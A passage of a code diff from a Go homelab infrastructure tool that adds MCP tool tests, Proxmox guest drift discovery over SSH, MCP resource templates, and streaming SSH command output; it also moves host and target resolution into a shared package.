_, err = db.IngestInventorySeed(ctx, tx, data)
|
||||
case "policy.yaml":
|
||||
_, err = db.IngestPolicySeed(ctx, tx, data)
|
||||
}
|
||||
return err
|
||||
}); err != nil {
|
||||
t.Fatalf("ingest %s: %v", f, err)
|
||||
}
|
||||
}
|
||||
return pool
|
||||
}
|
||||
|
||||
// callTool invokes a registered tool's handler in-process and returns its
|
||||
// concatenated text result.
|
||||
func callTool(t *testing.T, pool *db.Pool, name string, args map[string]any) string {
|
||||
t.Helper()
|
||||
var handler toolHandler
|
||||
for _, r := range allTools(pool, uuid.Nil) {
|
||||
if r.tool.Name == name {
|
||||
handler = r.handler
|
||||
break
|
||||
}
|
||||
}
|
||||
if handler == nil {
|
||||
t.Fatalf("tool %q not registered", name)
|
||||
}
|
||||
argsJSON, _ := json.Marshal(args)
|
||||
res, err := handler(context.Background(), &mcp.CallToolRequest{Params: &mcp.CallToolParamsRaw{
|
||||
Name: name,
|
||||
Arguments: argsJSON,
|
||||
}})
|
||||
if err != nil {
|
||||
t.Fatalf("tool %s returned error: %v", name, err)
|
||||
}
|
||||
var sb strings.Builder
|
||||
for _, c := range res.Content {
|
||||
if tc, ok := c.(*mcp.TextContent); ok {
|
||||
sb.WriteString(tc.Text)
|
||||
}
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// checkCountFor returns the number of derived check_defs targeting slug.
|
||||
func checkCountFor(t *testing.T, pool *db.Pool, slug string) int {
|
||||
t.Helper()
|
||||
var n int
|
||||
err := pool.QueryRow(context.Background(),
|
||||
`SELECT count(*) FROM check_defs cd
|
||||
JOIN entities e ON e.id = cd.target_id
|
||||
WHERE e.slug = $1`, slug).Scan(&n)
|
||||
if err != nil {
|
||||
t.Fatalf("count check_defs for %s: %v", slug, err)
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// TestCreateEntity_DerivesChecks proves create_entity inserts an entity AND
|
||||
// derives its default checks in one call (the HTTP create path did this; the
|
||||
// MCP path previously could not create at all).
|
||||
func TestCreateEntity_DerivesChecks(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
slug := "service:mcp-create-test"
|
||||
|
||||
out := callTool(t, pool, "create_entity", map[string]any{
|
||||
"type": "service",
|
||||
"slug": slug,
|
||||
"name": "mcp-create-test",
|
||||
"attributes": `{"url":"https://mcp-create-test.example"}`,
|
||||
})
|
||||
if !strings.Contains(out, "Created "+slug) {
|
||||
t.Fatalf("create_entity result = %q, want Created %s", out, slug)
|
||||
}
|
||||
if !strings.Contains(out, "Derived") {
|
||||
t.Errorf("create_entity result = %q, want a Derived check summary", out)
|
||||
}
|
||||
if got := checkCountFor(t, pool, slug); got < 1 {
|
||||
t.Errorf("check_defs targeting %s = %d, want >=1 (create did not derive checks)", slug, got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCreateEntity_DuplicateAndInvalid covers the guard rails: a repeat create
|
||||
// is reported as "already exists" (not an error), and an unknown type is
|
||||
// rejected with a clear message.
|
||||
func TestCreateEntity_DuplicateAndInvalid(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
|
||||
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||
"type": "service", "slug": "service:mcp-dup", "name": "mcp-dup",
|
||||
}); !strings.Contains(out, "Created service:mcp-dup") {
|
||||
t.Fatalf("first create = %q", out)
|
||||
}
|
||||
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||
"type": "service", "slug": "service:mcp-dup", "name": "mcp-dup",
|
||||
}); !strings.Contains(out, "already exists") {
|
||||
t.Errorf("duplicate create = %q, want 'already exists'", out)
|
||||
}
|
||||
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||
"type": "no-such-type", "slug": "no-such-type:x", "name": "x",
|
||||
}); !strings.Contains(out, "not found in ontology") {
|
||||
t.Errorf("unknown type = %q, want 'not found in ontology'", out)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUpdateEntityAttributes_RegeneratesChecks is the regression guard for the
|
||||
// haos session: setting an entity's `monitoring` attribute via MCP must
|
||||
// regenerate checks. Before this fix the MCP update path skipped
|
||||
// ensureDefaultChecks, so flipping monitoring produced nothing.
|
||||
func TestUpdateEntityAttributes_RegeneratesChecks(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
slug := "service:mcp-regen-test"
|
||||
|
||||
// Create with monitoring:none — no checks derived.
|
||||
if out := callTool(t, pool, "create_entity", map[string]any{
|
||||
"type": "service", "slug": slug, "name": "mcp-regen-test",
|
||||
"attributes": `{"monitoring":"none","url":"https://mcp-regen.example"}`,
|
||||
}); !strings.Contains(out, "Created "+slug) {
|
||||
t.Fatalf("create = %q", out)
|
||||
}
|
||||
if got := checkCountFor(t, pool, slug); got != 0 {
|
||||
t.Fatalf("check_defs with monitoring:none = %d, want 0", got)
|
||||
}
|
||||
|
||||
// Flip monitoring to [http] via update_entity_attributes — checks must
|
||||
// regenerate. This is exactly what failed for service:haos.
|
||||
out := callTool(t, pool, "update_entity_attributes", map[string]any{
|
||||
"slug": slug,
|
||||
"attributes": `{"monitoring":["http"]}`,
|
||||
})
|
||||
if !strings.Contains(out, "Updated "+slug) {
|
||||
t.Fatalf("update result = %q, want Updated %s", out, slug)
|
||||
}
|
||||
if !strings.Contains(out, "Derived") {
|
||||
t.Errorf("update result = %q, want a Derived check summary (regeneration)", out)
|
||||
}
|
||||
if got := checkCountFor(t, pool, slug); got < 1 {
|
||||
t.Errorf("check_defs after monitoring:[http] = %d, want >=1 (MCP update did not regenerate checks)", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestUpdateEntityAttributes_NotFound keeps the existing error contract.
|
||||
func TestUpdateEntityAttributes_NotFound(t *testing.T) {
|
||||
pool := newTestPool(t)
|
||||
out := callTool(t, pool, "update_entity_attributes", map[string]any{
|
||||
"slug": "service:does-not-exist",
|
||||
"attributes": `{"x":1}`,
|
||||
})
|
||||
if !strings.Contains(out, "not found") {
|
||||
t.Errorf("update missing entity = %q, want 'not found'", out)
|
||||
}
|
||||
}
|
||||
|
||||
// TestFormatCheckResult is a pure unit test for the result-message helper, so
|
||||
// the formatting contract holds even when the DB is unavailable.
|
||||
func TestFormatCheckResult(t *testing.T) {
|
||||
if got := formatCheckResult(checkdefaults.Result{Created: 2}); !strings.Contains(got, "Derived 2 check") {
|
||||
t.Errorf("created-only = %q, want Derived 2", got)
|
||||
}
|
||||
got := formatCheckResult(checkdefaults.Result{Created: 1, Skipped: []checkdefaults.Skip{{Kind: "process", Reason: "no host"}}})
|
||||
if !strings.Contains(got, "Derived 1 check") || !strings.Contains(got, "Skipped process") || !strings.Contains(got, "no host") {
|
||||
t.Errorf("created+skipped = %q", got)
|
||||
}
|
||||
if got := formatCheckResult(checkdefaults.Result{Undeclared: true}); !strings.Contains(got, "no monitoring") {
|
||||
t.Errorf("undeclared = %q, want no-monitoring hint", got)
|
||||
}
|
||||
if formatCreateResult("a", "b", checkdefaults.Result{Created: 0}) != "Created a (b)." {
|
||||
t.Error("create result with no checks should have no suffix")
|
||||
}
|
||||
}
|
||||
119
internal/mcp/discover.go
Normal file
119
internal/mcp/discover.go
Normal file
@@ -0,0 +1,119 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/dtoro/oikos/internal/remote"
|
||||
)
|
||||
|
||||
// discoverInfraDrift compares the live Proxmox guests (pct/qm list on every
|
||||
// proxmox host) against the DB graph, surfacing drift the DB-only audit
|
||||
// cannot see: guests running with no entity (missing), and entities whose
|
||||
// pve_id is no longer live (ghost). This is the auto-discover/validate half
|
||||
// of the knowledge-graph audit skill — read-only, reaches hosts over the same
|
||||
// SSH/pct path the checks use.
|
||||
func discoverInfraDrift(ctx context.Context, pool *db.Pool) any {
|
||||
// 1. proxmox hosts to query.
|
||||
hostRows, err := pool.Query(ctx,
|
||||
`SELECT slug FROM entities WHERE type='proxmox-host' AND COALESCE(state,'active')='active'`)
|
||||
if err != nil {
|
||||
return map[string]any{"error": "query hosts: " + err.Error()}
|
||||
}
|
||||
var hosts []string
|
||||
for hostRows.Next() {
|
||||
var s string
|
||||
if hostRows.Scan(&s) == nil {
|
||||
hosts = append(hosts, s)
|
||||
}
|
||||
}
|
||||
hostRows.Close()
|
||||
|
||||
// 2. DB guests keyed by pve_id.
|
||||
type dbGuest struct {
|
||||
Slug string `json:"slug"`
|
||||
Type string `json:"type"`
|
||||
PveID string `json:"pve_id"`
|
||||
Host string `json:"host"`
|
||||
}
|
||||
dbGuests := map[string]dbGuest{}
|
||||
gr, err := pool.Query(ctx,
|
||||
`SELECT slug, type, COALESCE(attributes->>'pve_id',''), COALESCE(attributes->>'host','')
|
||||
FROM entities WHERE type IN ('lxc','vm')`)
|
||||
if err != nil {
|
||||
return map[string]any{"error": "query guests: " + err.Error()}
|
||||
}
|
||||
for gr.Next() {
|
||||
var g dbGuest
|
||||
if gr.Scan(&g.Slug, &g.Type, &g.PveID, &g.Host) == nil && g.PveID != "" {
|
||||
dbGuests[g.PveID] = g
|
||||
}
|
||||
}
|
||||
gr.Close()
|
||||
|
||||
// 3. enumerate live guests from every host.
|
||||
live := map[string]string{} // pve_id -> "host:name"
|
||||
hostErrors := map[string]string{}
|
||||
for _, hs := range hosts {
|
||||
et, rerr := remote.ResolveExecTarget(ctx, pool, hs, sshUser)
|
||||
if rerr != nil {
|
||||
hostErrors[hs] = "resolve: " + rerr.Error()
|
||||
continue
|
||||
}
|
||||
for _, cmd := range []string{"pct list", "qm list"} {
|
||||
out, eerr := sshExecStream(ctx, et.Host, et.User, et.Wrap(cmd),
|
||||
execlog.Sink(func(string, []byte) {}))
|
||||
if eerr != nil {
|
||||
hostErrors[hs+" "+cmd] = eerr.Error()
|
||||
continue
|
||||
}
|
||||
scanIDs(out, hs, live)
|
||||
}
|
||||
}
|
||||
|
||||
// 4. diff.
|
||||
var missing, ghost []string
|
||||
for id, hn := range live {
|
||||
if _, ok := dbGuests[id]; !ok {
|
||||
missing = append(missing, id+" on "+hn)
|
||||
}
|
||||
}
|
||||
for id, g := range dbGuests {
|
||||
if _, ok := live[id]; !ok {
|
||||
ghost = append(ghost, g.Slug+" (pve_id="+id+")")
|
||||
}
|
||||
}
|
||||
|
||||
return map[string]any{
|
||||
"hosts_queried": len(hosts),
|
||||
"live_guests": len(live),
|
||||
"db_guests": len(dbGuests),
|
||||
"missing_entities": missing, // in Proxmox, no DB entity
|
||||
"ghost_entities": ghost, // in DB, not live in Proxmox
|
||||
"host_errors": hostErrors,
|
||||
}
|
||||
}
|
||||
|
||||
// scanIDs parses `pct list` / `qm list` output (VMID ... Name) into the live map.
|
||||
func scanIDs(output, hostSlug string, live map[string]string) {
|
||||
sc := bufio.NewScanner(strings.NewReader(output))
|
||||
for sc.Scan() {
|
||||
line := strings.TrimSpace(sc.Text())
|
||||
if line == "" || strings.HasPrefix(strings.ToLower(line), "vmid") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
continue
|
||||
}
|
||||
id := fields[0]
|
||||
name := ""
|
||||
if len(fields) >= 4 {
|
||||
name = fields[len(fields)-1] // pct: last col is name; qm: name near end
|
||||
}
|
||||
live[id] = hostSlug + ":" + name
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,6 @@ package mcp
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"html"
|
||||
@@ -22,8 +21,10 @@ import (
|
||||
|
||||
"github.com/dtoro/oikos/internal/db"
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/execlog"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/dtoro/oikos/internal/policy"
|
||||
"github.com/dtoro/oikos/internal/remote"
|
||||
"github.com/google/jsonschema-go/jsonschema"
|
||||
"github.com/google/uuid"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
@@ -71,9 +72,121 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
|
||||
for _, t := range allTools(pool, agentID) {
|
||||
s.AddTool(t.tool, withActivityLogging(pool, agentID, t.tool.Name, t.handler))
|
||||
}
|
||||
|
||||
// Resource templates: let MCP clients browse and attach entities,
|
||||
// knowledge entries, and executions as conversation resources.
|
||||
s.AddResourceTemplate(&mcp.ResourceTemplate{
|
||||
URITemplate: "oikos://entity/{slug}",
|
||||
Name: "Entity",
|
||||
Description: "Oikos entity by slug (e.g. host:hubris, lxc:jellyfin)",
|
||||
MIMEType: "application/json",
|
||||
}, resourceHandler(pool, func(ctx context.Context, matches map[string]string) (string, error) {
|
||||
slug := matches["slug"]
|
||||
var id uuid.UUID
|
||||
if u, err := uuid.Parse(slug); err == nil {
|
||||
id = u
|
||||
} else {
|
||||
pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", slug).Scan(&id)
|
||||
}
|
||||
if id == uuid.Nil {
|
||||
return "", fmt.Errorf("entity not found: %s", slug)
|
||||
}
|
||||
result := queryEntity(ctx, pool, slug)
|
||||
return result.Content[0].(*mcp.TextContent).Text, nil
|
||||
}))
|
||||
|
||||
s.AddResourceTemplate(&mcp.ResourceTemplate{
|
||||
URITemplate: "oikos://knowledge/{id}",
|
||||
Name: "Knowledge",
|
||||
Description: "Knowledge entry by entity slug or UUID",
|
||||
MIMEType: "application/json",
|
||||
}, resourceHandler(pool, func(ctx context.Context, matches map[string]string) (string, error) {
|
||||
idOrSlug := matches["id"]
|
||||
var entityID uuid.UUID
|
||||
if u, err := uuid.Parse(idOrSlug); err == nil {
|
||||
entityID = u
|
||||
} else {
|
||||
pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", idOrSlug).Scan(&entityID)
|
||||
}
|
||||
if entityID == uuid.Nil {
|
||||
return "", fmt.Errorf("knowledge not found: %s", idOrSlug)
|
||||
}
|
||||
result := queryRows(ctx, pool, `
|
||||
SELECT ke.title, ke.content, ke.tags::text, e.slug, e.type AS kind,
|
||||
ke.updated_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.entity_id = $1`, entityID)
|
||||
return result.Content[0].(*mcp.TextContent).Text, nil
|
||||
}))
|
||||
|
||||
s.AddResourceTemplate(&mcp.ResourceTemplate{
|
||||
URITemplate: "oikos://execution/{id}",
|
||||
Name: "Execution",
|
||||
Description: "Execution by UUID (returns status, result, timing)",
|
||||
MIMEType: "application/json",
|
||||
}, resourceHandler(pool, func(ctx context.Context, matches map[string]string) (string, error) {
|
||||
result := queryRows(ctx, pool, `
|
||||
SELECT e.entity_id, te.slug AS target, e.action, e.risk_class,
|
||||
e.status, e.result::text, e.duration_ms,
|
||||
e.started_at::text, e.completed_at::text
|
||||
FROM executions e
|
||||
JOIN entities te ON te.id = e.target_entity_id
|
||||
WHERE e.entity_id = $1`, matches["id"])
|
||||
return result.Content[0].(*mcp.TextContent).Text, nil
|
||||
}))
|
||||
|
||||
return s
|
||||
}
|
||||
|
||||
// resourceHandler adapts a simple func(ctx, params) → (string, error) into
|
||||
// an MCP ResourceHandler, reading the URI matched by a ResourceTemplate.
|
||||
func resourceHandler(pool *db.Pool, fn func(ctx context.Context, matches map[string]string) (string, error)) mcp.ResourceHandler {
|
||||
return func(ctx context.Context, req *mcp.ReadResourceRequest) (*mcp.ReadResourceResult, error) {
|
||||
uri := req.Params.URI
|
||||
matches := matchURITemplate(uri)
|
||||
if matches == nil {
|
||||
return nil, mcp.ResourceNotFoundError(uri)
|
||||
}
|
||||
|
||||
text, err := fn(ctx, matches)
|
||||
if err != nil {
|
||||
return nil, mcp.ResourceNotFoundError(uri)
|
||||
}
|
||||
|
||||
result, err := json.MarshalIndent(json.RawMessage(text), "", " ")
|
||||
if err != nil {
|
||||
result = []byte(text)
|
||||
}
|
||||
|
||||
return &mcp.ReadResourceResult{
|
||||
Contents: []*mcp.ResourceContents{{
|
||||
URI: uri,
|
||||
MIMEType: "application/json",
|
||||
Text: string(result),
|
||||
}},
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
// matchURITemplate extracts parameters from a URI that matches one of the
|
||||
// oikos:// resource templates. Returns nil if the URI doesn't match.
|
||||
func matchURITemplate(uri string) map[string]string {
|
||||
// oikos://entity/{slug}
|
||||
if rest, ok := strings.CutPrefix(uri, "oikos://entity/"); ok && rest != "" {
|
||||
return map[string]string{"slug": rest}
|
||||
}
|
||||
// oikos://knowledge/{id}
|
||||
if rest, ok := strings.CutPrefix(uri, "oikos://knowledge/"); ok && rest != "" {
|
||||
return map[string]string{"id": rest}
|
||||
}
|
||||
// oikos://execution/{id}
|
||||
if rest, ok := strings.CutPrefix(uri, "oikos://execution/"); ok && rest != "" {
|
||||
return map[string]string{"id": rest}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// withActivityLogging wraps a tool handler to record agent_activity rows.
|
||||
func withActivityLogging(pool *db.Pool, agentID uuid.UUID, toolName string, next mcp.ToolHandler) mcp.ToolHandler {
|
||||
if agentID == uuid.Nil {
|
||||
@@ -329,7 +442,37 @@ func initSSH() {
|
||||
// goroutine forever with no way for the caller to ever get an answer.
|
||||
const sshExecTimeout = 10 * time.Minute
|
||||
|
||||
// streamWriter buffers everything it is given while forwarding each write to a
|
||||
// sink. Assigning one to session.Stdout and another (sharing the same buffer)
|
||||
// to session.Stderr reproduces CombinedOutput's interleaving exactly, in the
|
||||
// order the remote end actually produced it — which reading from StdoutPipe
|
||||
// and StderrPipe separately would not guarantee.
|
||||
type streamWriter struct {
|
||||
mu *sync.Mutex
|
||||
buf *bytes.Buffer
|
||||
stream string
|
||||
sink execlog.Sink
|
||||
}
|
||||
|
||||
func (w *streamWriter) Write(p []byte) (int, error) {
|
||||
w.mu.Lock()
|
||||
w.buf.Write(p)
|
||||
w.mu.Unlock()
|
||||
if w.sink != nil {
|
||||
// Copy: the ssh library reuses p after Write returns, and the sink
|
||||
// hands the bytes to a DB call that may outlive this frame.
|
||||
w.sink(w.stream, append([]byte(nil), p...))
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
return sshExecStream(ctx, host, user, command, nil)
|
||||
}
|
||||
|
||||
// sshExecStream runs a command and reports its combined output, forwarding
|
||||
// each chunk to sink as it arrives. A nil sink behaves exactly as before.
|
||||
func sshExecStream(ctx context.Context, host, user, command string, sink execlog.Sink) (string, error) {
|
||||
initSSH()
|
||||
if len(sshKey) == 0 {
|
||||
return "", fmt.Errorf("no SSH key available")
|
||||
@@ -363,16 +506,28 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
type result struct {
|
||||
out []byte
|
||||
err error
|
||||
var (
|
||||
mu sync.Mutex
|
||||
buf bytes.Buffer
|
||||
)
|
||||
session.Stdout = &streamWriter{mu: &mu, buf: &buf, stream: "stdout", sink: sink}
|
||||
session.Stderr = &streamWriter{mu: &mu, buf: &buf, stream: "stderr", sink: sink}
|
||||
|
||||
// collected returns whatever output has arrived so far. Callable while the
|
||||
// command is still running, which is what makes partial output on timeout
|
||||
// possible.
|
||||
collected := func() string {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return strings.TrimSpace(buf.String())
|
||||
}
|
||||
done := make(chan result, 1)
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
// Recovers a panic in CombinedOutput (SSH library internals, rare but
|
||||
// not impossible) and reports it as a failed command instead of
|
||||
// crashing the whole api process — every gated action runs through
|
||||
// this function, so an unrecovered panic here would take down every
|
||||
// Recovers a panic in the SSH library internals (rare but not
|
||||
// impossible) and reports it as a failed command instead of crashing
|
||||
// the whole api process — every gated action runs through this
|
||||
// function, so an unrecovered panic here would take down every
|
||||
// concurrently-running task's execution, not just this one. Without
|
||||
// this, a panic would ALSO silently degrade to "wait out the full
|
||||
// timeout" (done never receives, the select below falls through to
|
||||
@@ -381,64 +536,49 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
|
||||
// finds out now, not after sshExecTimeout.
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
|
||||
done <- fmt.Errorf("panic in ssh exec: %v", r)
|
||||
}
|
||||
}()
|
||||
out, err := session.CombinedOutput(command)
|
||||
done <- result{out, err}
|
||||
// Run rather than CombinedOutput so the assigned writers are used;
|
||||
// Run returns only after both streams have been fully drained.
|
||||
done <- session.Run(command)
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-done:
|
||||
text := strings.TrimSpace(string(r.out))
|
||||
case err := <-done:
|
||||
text := collected()
|
||||
// A non-zero exit MUST surface as an error — matching the fix
|
||||
// applied to httpapi's sshExec (this copy still had the original
|
||||
// bug: only erroring when there was no output at all, so a command
|
||||
// that failed but printed something was silently reported as
|
||||
// success).
|
||||
if r.err != nil {
|
||||
if err != nil {
|
||||
if text != "" {
|
||||
return text, fmt.Errorf("%w: %s", r.err, text)
|
||||
return text, fmt.Errorf("%w: %s", err, text)
|
||||
}
|
||||
return text, fmt.Errorf("exec: %w", r.err)
|
||||
return text, fmt.Errorf("exec: %w", err)
|
||||
}
|
||||
return text, nil
|
||||
case <-time.After(sshExecTimeout):
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
// Return what the command managed to print before it hung. This used
|
||||
// to return "", discarding everything — so a hung command, the case
|
||||
// where the output matters most, was the one case that left no trace.
|
||||
return collected(), fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
|
||||
case <-ctx.Done():
|
||||
session.Close()
|
||||
client.Close()
|
||||
return "", ctx.Err()
|
||||
return collected(), ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUser string, err error) {
|
||||
var attrs string
|
||||
err = pool.QueryRow(ctx, "SELECT attributes::text FROM entities WHERE slug = $1", entitySlug).Scan(&attrs)
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("entity not found: %s", entitySlug)
|
||||
}
|
||||
|
||||
var m map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(attrs), &m); err != nil {
|
||||
return "", "", fmt.Errorf("parse attributes: %w", err)
|
||||
}
|
||||
|
||||
if ip, ok := m["lan_ip"].(string); ok && ip != "" {
|
||||
return ip, sshUser, nil
|
||||
}
|
||||
if mesh, ok := m["mesh"].(map[string]interface{}); ok {
|
||||
for _, proto := range []string{"netbird", "tailscale"} {
|
||||
if p, ok := mesh[proto].(map[string]interface{}); ok {
|
||||
if ip, ok := p["ip"].(string); ok && ip != "" {
|
||||
return ip, sshUser, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
|
||||
// resolveHost resolves a host:<slug> to its reachable IP and SSH user. A thin
|
||||
// wrapper over the shared resolver (internal/remote), kept so slug-based
|
||||
// callers keep working; the shared resolver also prefers public_ipv4 over
|
||||
// mesh and honors a per-entity ssh.user.
|
||||
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUserOut string, err error) {
|
||||
return remote.ResolveHost(ctx, pool, entitySlug, sshUser)
|
||||
}
|
||||
|
||||
// htmlTagRe strips HTML tags for the naive text extraction in httpGet.
|
||||
@@ -517,109 +657,28 @@ func isPrivateHost(host string) bool {
|
||||
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC,
|
||||
// `qm guest exec <pve_id> -- ...` for a VM.
|
||||
//
|
||||
// The lxc.attributes.host value is stored WITHOUT a "host:" prefix (e.g.
|
||||
// "strong", not "host:strong") — see pct_create's entity registration. The
|
||||
// pre-existing pct_exec handler queried resolveHost with that bare value
|
||||
// directly, which can never match a "host:*" slug and always fails; this
|
||||
// prefixes it correctly.
|
||||
//
|
||||
// vm: support (2026-07-18): VMs in inventory.yaml carry `pve_id` and a `host`
|
||||
// attribute (or a `hosts` relationship) just like LXCs, but they're reached
|
||||
// via `qm guest exec` instead of `pct exec`. Previously the agent had to
|
||||
// SSH-hop via `host:hubris` to reach a VM (e.g. `ssh root@<vm_ip> '...'`),
|
||||
// which broke on nested shell quoting and forced manual escaping workarounds
|
||||
// — see plans/2026-07-18-session-review-three-sessions.md P1.6. A VM's
|
||||
// `host` attribute is optional: if absent, fall back to looking up the
|
||||
// `hosts` relationship on the VM entity, then to hubris (the documented
|
||||
// default Proxmox host) — same fallback chain as LXCs.
|
||||
// Delegates to the shared resolver (internal/remote), the single path used by
|
||||
// both the MCP `run` tool and the scheduler's checks. The historical notes
|
||||
// (host attr without prefix, vm host-resolution chain, nested-quoting
|
||||
// handling via base64) all still hold — they now live in remote.guestWrap.
|
||||
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
|
||||
if strings.HasPrefix(targetSlug, "host:") {
|
||||
host, user, err = resolveHost(ctx, pool, targetSlug)
|
||||
return host, user, func(cmd string) string { return cmd }, err
|
||||
et, err := remote.ResolveExecTarget(ctx, pool, targetSlug, sshUser)
|
||||
if err != nil {
|
||||
return "", "", nil, err
|
||||
}
|
||||
if strings.HasPrefix(targetSlug, "lxc:") {
|
||||
var pveID, hostAttr string
|
||||
// COALESCE the host column: many older LXC entities (seeded from
|
||||
// inventory, not provisioned by pct_create) have pve_id but no host
|
||||
// attribute at all. Scanning a SQL NULL into a plain string errors
|
||||
// the whole row, wrongly reporting "missing pve_id" even when it was
|
||||
// present — COALESCE avoids the NULL, "" is handled below.
|
||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
||||
id := pveID
|
||||
return host, user, func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
|
||||
}, err
|
||||
}
|
||||
if strings.HasPrefix(targetSlug, "vm:") {
|
||||
// VMs: same host-resolution chain as LXCs (attributes.host →
|
||||
// `hosts` relationship → hubris default), but reached via
|
||||
// `qm guest exec` instead of `pct exec`. Requires the QEMU
|
||||
// guest agent running inside the VM (the standard Proxmox
|
||||
// setup; ZimaOS/HAOS in this fleet already have it).
|
||||
var pveID, hostAttr string
|
||||
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
|
||||
return "", "", nil, fmt.Errorf("VM not found or missing pve_id: %s", targetSlug)
|
||||
}
|
||||
hostSlug := resolveProxmoxHostSlug(ctx, pool, targetSlug, hostAttr)
|
||||
host, user, err = resolveHost(ctx, pool, hostSlug)
|
||||
id := pveID
|
||||
return host, user, func(cmd string) string {
|
||||
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
|
||||
// `qm guest exec <id> -- /bin/bash -c '...'` returns JSON by
|
||||
// default; pipe through `jq -r .out` if available, else cat.
|
||||
// The base64 round-trip mirrors the LXC path so nested quoting
|
||||
// (the original VM-target pain point — session 55927f0a) is
|
||||
// handled identically to LXC dispatch.
|
||||
return fmt.Sprintf(
|
||||
"qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash' | jq -r '.out // .err // empty' 2>/dev/null || qm guest exec %s -- /bin/bash -c 'echo %s | base64 -d | bash'",
|
||||
id, b64, id, b64)
|
||||
}, err
|
||||
}
|
||||
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug>, lxc:<slug>, or vm:<slug>", targetSlug)
|
||||
return et.Host, et.User, et.Wrap, nil
|
||||
}
|
||||
|
||||
// resolveProxmoxHostSlug resolves the Proxmox host slug that owns a given
|
||||
// LXC/VM target. Resolution order:
|
||||
// 1. hostAttr if non-empty (the entity's attributes.host — stored without
|
||||
// "host:" prefix in inventory.yaml and pct_create).
|
||||
// 2. the `hosts` relationship on the entity (e.g. host:hubris → vm:zimaos),
|
||||
// looked up in the relationships table — the canonical graph source.
|
||||
// 3. "hubris" as a documented default Proxmox host fallback.
|
||||
//
|
||||
// Returns a slug with the "host:" prefix attached, ready for resolveHost.
|
||||
// Extracted from the inline LXC path (2026-07-18) so the VM path shares the
|
||||
// same chain — see plans/2026-07-18-session-review-three-sessions.md P1.6.
|
||||
// LXC/VM target (see internal/remote.ResolveProxmoxHostSlug for the chain).
|
||||
// This slug-based wrapper looks up the entity id so slug callers keep working;
|
||||
// the shared resolver takes an id directly.
|
||||
func resolveProxmoxHostSlug(ctx context.Context, pool *db.Pool, entitySlug, hostAttr string) string {
|
||||
hostSlug := strings.TrimSpace(hostAttr)
|
||||
if hostSlug == "" {
|
||||
// Fall back to the `hosts` relationship — the graph edge from
|
||||
// the Proxmox host to this LXC/VM. This is the canonical source
|
||||
// for "who owns this VM" in inventory.yaml; the `host` attribute
|
||||
// is a denormalized shortcut that not every entity has.
|
||||
var relHostSlug string
|
||||
